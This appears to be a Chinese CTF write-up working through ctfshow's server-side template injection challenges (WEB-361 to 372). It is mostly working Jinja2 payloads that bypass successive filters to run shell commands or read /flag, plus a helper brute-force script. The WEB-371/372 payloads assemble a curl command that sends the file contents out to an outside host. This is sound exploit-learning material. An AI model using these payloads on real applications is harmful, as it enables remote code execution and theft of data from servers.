Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEB-361
  2. 2. WEB-362(过滤了os.wrap_close)
  3. 3. WEB-363(过滤单双引号)
  4. 4. WEB-364(过滤了args)
  5. 5. WEB-365(过滤了方括号)
    1. 5.1. payload_1
    2. 5.2. payload_2
  6. 6. WEB-366(过滤了下划线)
  7. 7. WEB-367(过滤了os)
  8. 8. WEB-368(过滤了左花括号)
  9. 9. WEB-369(过滤了request)
    1. 9.1. payload_1
    2. 9.2. payload_2
  10. 10. WEB-370(过滤数字)
  11. 11. WEB-371(过滤print无回显)
  12. 12. WEB-372(过滤了count)
  13. 13. 后言

ctfshow-ssti

感觉这块网上直接找payload之外 没有真正理解答案 重新学习一下 顺便也要适应python了

WEB-361

无过滤

payload:{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

或者用lipsum包和cycler库

1
2
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

或者用控制块

1
?name={% print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat ../flag').read()"))%}

WEB-362(过滤了os.wrap_close)

用上一题的其他方式就行

WEB-363(过滤单双引号)

get传参方式绕过或request.cookies.x都行

需要注意的是url_for.__builtins__下没有os 但是可以用eval

1
2
3
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
?name={{lipsum.__globals__.os.popen(request.args.ocean).read()}}&ocean =cat /flag
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c)}}&a=__builtins__&b=eval&c=__import__('os').popen('cat /flag').read()

还有就是通过config配置信息截字符 截取到os

img

?name={{url_for.__globals__[(config.__str__()[2])%2b(config.__str__()[42])]}}这里需要注意就是%2b+的url编码 不加的话就会报错

WEB-364(过滤了args)

也就是我们不能get传参了直接ban了 request.args 其实还可以用cookie

1
2
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
cookie 传参:a=os;b=popen;c=cat /flag

第二种:

values可以获取所有参数 绕过args

1
?name={{lipsum.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

WEB-365(过滤了方括号)

payload_1

values传参

values 没有被过滤

1
?name={{lipsum.__globals__.os.popen(request.values.x).read()}}&x=cat /flag

或者cookie都行

payload_2

字符串拼接

[]可以用.或者__getitem__本质就是它

其他师傅的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# anthor:秀儿
import requests
url="http://bbb42674-c33e-4370-b602-c3318e79fa64.challenge.ctf.show/?name={{config.__str__().__getitem__(%d)}}"

payload="cat /flag"
result=""
for j in payload:
for i in range(0,1000):
r=requests.get(url=url%(i))
location=r.text.find("<h3>")
word=r.text[location+4:location+5]
if word==j:
print("config.__str__().__getitem__(%d) == %s"%(i,j))
result+="config.__str__().__getitem__(%d)~"%(i)
break
print(result[:len(result)-1])

然后用~连接起来

1
2
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)
).read()}}

WEB-366(过滤了下划线)

可以用过滤器

1
2
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie:a=__globals__;b=cat /flag

WEB-367(过滤了os)

1
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

lipsum.__globals__.get(os).popen(c=cat /flag)最终构造是这个

由于[]也是被waf了所以我们可以通过get(os)方式 之前我们都是lipsum.__globals__['os']

也算是一个小trick

WEB-368(过滤了左花括号)

{%print()%}

1
?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag

WEB-369(过滤了request)

payload_1

截取配置config构造 这类下划线被ban了 不能用__str()__ 所以就要用过滤器了

获取字符串后本来要用__getitem__问题是_被ban了

所以这里需要转换成list然后用pop()就可以得到我们想要的字符

师傅们的payload:

1
2
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}

可以来剖析一下

总体是用(config|string|list).pop(下标).lower()这种方式去截取我们想要的字符

然后转为小写 用~连接起来 这里还是存在那个trick 要用get('os')去代替['os']因为方括号被ban了

payload_2

1
2
3
4
5
6
7
8
9
10
11
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%} #po=pop

等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%} #a=_

构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}#元组可以一层一层看好理解ini=__init__ 用了两个join

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数 注意这里q取任何值都行 没有特别的意义
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}#x=q.__init__.globals__.__getitem__(__builtins__)
{% set chr=x.chr%}#chr=q.__init__.globals__.__getitem__(__builtins__).chr

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}# %2b是+ 一定要有

WEB-370(过滤数字)

主要思路是就是用count过滤器搭配join计算字符长度获取数字 然后思路和上一题一样

payload:

1
2
3
4
5
6
7
8
9
10
11
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop(num)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set file = chr(numm)~dict(flag=a)|join%}
{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}

WEB-371(过滤print无回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/?name=
{%set z=dict()|join|count%}
{%set e=dict(a=a)|join|count%}
{%set ee=dict(aa=a)|join|count%}
{%set eee=dict(aaa=a)|join|count%}
{%set eeee=dict(aaaa=a)|join|count%}
{%set eeeee=dict(aaaaa=a)|join|count%}
{%set eeeeee=dict(aaaaaa=a)|join|count%}
{%set eeeeeee=dict(aaaaaaa=a)|join|count%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|count%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|count%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|count%}
{%set dayu=(()|select|string|list).pop()%}
{% set space=(()|select|string|list).pop(eeeee*ee)%}
{% set xhx=(()|select|string|list).pop(eee*eeeeeeeee) %}
{% set point=(config|string|list).pop(eeeeeeeeee*ee*eeeeeeeeee-eeeeeeeee) %}
{% set maohao=(config|string|list).pop(ee*eeeeeee) %}
{% set xiegang=(config|string|list).pop(-eeeeeeee*eeeeeeee) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,eeeeeeee,point,e,eee,z,point,eee,eeee,point,eeeee,eee,maohao,eeeeeee,eeeeeee,eeeeeee,eeeeeee,xiegang,result)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

先构造出数字0-9 然后去截取我们想要的符号 用curl外带flag

构造出curl http://ip:port/

一开始自己一直在构造bash反弹shell的 构造了老半天 md发现-&截取不到 没有这两个符号 太难过了 不过对过程有了更深的理解了

WEB-372(过滤了count)

用length替换就行了 然后继续curl外带

和上面payload差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/?name=
{%set z=dict()|join|length%}
{%set e=dict(a=a)|join|length%}
{%set ee=dict(aa=a)|join|length%}
{%set eee=dict(aaa=a)|join|length%}
{%set eeee=dict(aaaa=a)|join|length%}
{%set eeeee=dict(aaaaa=a)|join|length%}
{%set eeeeee=dict(aaaaaa=a)|join|length%}
{%set eeeeeee=dict(aaaaaaa=a)|join|length%}
{%set eeeeeeee=dict(aaaaaaaa=a)|join|length%}
{%set eeeeeeeee=dict(aaaaaaaaa=a)|join|length%}
{%set eeeeeeeeee=dict(aaaaaaaaaa=a)|join|length%}
{%set dayu=(()|select|string|list).pop()%}
{% set space=(()|select|string|list).pop(eeeee*ee)%}
{% set xhx=(()|select|string|list).pop(eee*eeeeeeeee) %}
{% set point=(config|string|list).pop(eeeeeeeeee*ee*eeeeeeeeee-eeeeeeeee) %}
{% set maohao=(config|string|list).pop(ee*eeeeeee) %}
{% set xiegang=(config|string|list).pop(-eeeeeeee*eeeeeeee) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,eeeeeeee,point,e,eee,z,point,eee,eeee,point,eeeee,eee,maohao,eeeeeee,eeeeeee,eeeeeee,eeeeeee,xiegang,result)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

成功

img

后言

虽然这是一个老生常谈的题目 但是自己对payload不太理解 这次刷过之后 会好很多 不至于看不懂 冲就完了

本文最后更新于 天前,文中所描述的信息可能已发生改变